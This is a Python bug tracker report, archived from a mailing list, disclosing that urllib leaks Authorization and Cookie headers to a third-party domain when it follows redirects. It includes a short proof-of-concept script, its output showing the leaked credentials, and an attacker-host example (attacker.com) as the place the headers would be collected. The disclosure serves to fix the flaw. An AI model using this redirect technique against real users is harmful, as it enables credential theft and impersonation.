[New-bugs-announce] [issue33661] urllib may leak sensitive HTTP headers to a third-party web site
Artem Smotrakov
report at bugs.python.org
Sun May 27 10:20:06 EDT 2018
New submission from Artem Smotrakov <artem.smotrakov at gmail.com>:
After discussing it on security at python.org, it was decided to disclose it. Here is the original report:
Hello Python Security Team,
Looks like urllib may leak sensitive HTTP headers to third parties when handling redirects.
Let's consider the following environment:
- http://httpleak.gypsyengineer.com/index.php asks a user to authenticate via basic HTTP authentication scheme
- http://httpleak.gypsyengineer.com/redirect.php?url=<url> is an open redirect which returns 301 code, and redirects a client to the specified URL
- http://headers.gypsyengineer.com just prints out all HTTP headers which a web browser sent
Let's then consider the following scenario:
- create an instance of urllib.request.Request to open 'http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com'
- call urllib.request.Request.add_header() method to set Authorization and Cookie headers
- call urllib.request.urlopen() method to open a connection
Here is what happens next:
- urllib sends the HTTP authentication header to httpleak.gypsyengineer.com as expected
- redirect.php returns 301 code which redirects to headers.gypsyengineer.com (note that httpleak.gypsyengineer.com and headers.gypsyengineer.com are different domains)
- urllib processes 301 code and makes a request to http://headers.gypsyengineer.com
The problem is that urllib sends the Authorization and Cookie headers headers to http://headers.gypsyengineer.com as well.
Let's imagine that a user is authenticated on a web site via one of HTTP authentication schemes (basic, digest, NTLM, SPNEGO/Kerberos),
and the web site has an open redirect like http://httpleak.gypsyengineer.com/redirect.php
If an attacker can trick the user to open http://httpleak.gypsyengineer.com/redirect.php?url=http://attacker.com,
then urllib is going to send sensitive headers to http://attacker.com where the attacker can gather them.
As a result, the attacker can imporsonate the user on the original web site.
Here is a simple POC which shows the problem:
import urllib.request
req = urllib.request.Request('http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com')
req.add_header('Authorization', 'Basic YWRtaW46dGVzdA==')
req.add_header('Cookie', 'This is only for httpleak.gypsyengineer.com');
with urllib.request.urlopen(req) as f:
print(f.read(2048).decode("utf-8"))
Running this code results to loading http://headers.gypsyengineer.com which prints out Authorization and Cookie headers
which are supposed to be sent only to httpleak.gypsyengineer.com:
Hello, I am <b>headers.gypsyengineer.com</b></br></br>
Here are HTTP headers you just sent me:</br></br>
Accept-Encoding: identity</br>
User-Agent: Python-urllib/3.8</br>
<b>Authorization: Basic YWRtaW46dGVzdA==</br></b>
<b>Cookie: This is only for httpleak.gypsyengineer.com</br></b>
Host: headers.gypsyengineer.com</br>
Cache-Control: max-age=259200</br>
Connection: keep-alive</br>
I could reproduce it with 3.5.2, and latest build of https://github.com/python/cpython
If I am not missing something, it would be better if urllib filtered out sensitive HTTP headers while handling redirects.
Please let me know if I wrote anything dumb and stupid, or if you have any questions :) Thanks!
Artem
----------
components: Library (Lib)
messages: 317793
nosy: alex, artem.smotrakov
priority: normal
severity: normal
status: open
title: urllib may leak sensitive HTTP headers to a third-party web site
type: security
versions: Python 3.5
_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33661>
_______________________________________
More information about the New-bugs-announce
mailing list